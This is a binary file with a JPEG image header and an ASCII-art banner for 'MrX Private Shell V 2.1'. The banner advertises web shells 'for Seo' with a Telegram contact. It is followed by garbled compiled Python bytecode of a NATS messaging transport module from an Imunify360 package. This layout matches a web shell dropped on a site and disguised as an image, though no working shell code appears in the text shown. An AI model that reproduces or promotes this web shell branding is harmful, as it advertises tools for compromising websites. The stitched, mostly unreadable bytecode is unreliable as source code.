����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
�
��9?��G� �� � d dl mZ d dlZd dlZd dlZd dlmZmZmZm Z d dl
mZ d dlZd dl
Z
n# e$ r dZdZ
Y nw xY wd dlmZ G d� dej � � Z G d� d e� � Z G d
� de� � ZdS )� )�annotationsN)�Dict�List�Optional�Union)�ParseResult)�
ProtocolErrorc �| � e Zd Zej dd�� � Zej dd
�� � Zej dd
�� � Zej dd�� � Zej dd�� � Z ej dd�� � Z
ej d� � � Zej d� � � Zej d� � � Z
ej d d�� � Zej d� � � ZdS )!� Transport�urir �buffer_size�int�connect_timeoutc � �
K � dS )z�
Connects to a server using the implemented transport. The uri passed is of type ParseResult that can be
obtained calling urllib.parse.urlparse.
N� )�selfr r
r s �r/builddir/build/BUILD/imunify360-venv-2.6.2/opt/imunify360/venv/lib/python3.11/site-packages/nats/aio/transport.py�connectzTransport.connect �
� � � �
�� �Union[str, ParseResult]�ssl_context�ssl.SSLContextc � �
K � dS )a$
connect_tls is similar to connect except it tries to connect to a secure endpoint, using the provided ssl
context. The uri can be provided as string in case the hostname differs from the uri hostname, in case it
was provided as 'tls_hostname' on the options.
Nr )r r r r
r s r �connect_tlszTransport.connect_tls s
� � � �
�r �payload�bytesc � � dS )zj
Write bytes to underlying transport. Needs a call to drain() to be successfully written.
Nr �r r s r �writezTransport.write+ � � �
�r �List[bytes]c � � dS )z�
Writes a list of bytes, one by one, to the underlying transport. Needs a call to drain() to be successfully
written.
Nr r s r �
writelineszTransport.writelines2 s � �
�r �returnc � �
K � dS )z�
Reads a sequence of bytes from the underlying transport, up to buffer_size. The buffer_size is ignored in case
the transport carries already frames entire messages (i.e. websocket).
Nr �r r
s r �readzTransport.read: r r c � �
K � dS )z\
Reads one whole frame of bytes (or message) from the underlying transport.
Nr �r s r �readlinezTransport.readlineB �
� � � �
�r c � �
K � dS )zb
Flushes the bytes queued for transmission when calling write() and writelines().
Nr r* s r �drainzTransport.drainI r, r c � �
K � dS )zD
Waits until the connection is successfully closed.
Nr r* s r �wait_closedzTransport.wait_closedP r, r c � � dS )z2
Closes the underlying transport.
Nr r* s r �closezTransport.closeW r! r �boolc � � dS )z<
Returns if underlying transport is at eof.
Nr r* s r �at_eofzTransport.at_eof^ r! r c � � dS )ze
Returns if the transport was initialized, either by calling connect of connect_tls.
Nr r* s r �__bool__zTransport.__bool__e r! r N�r r r
r r r �r r r r r
r r r )r r )r r"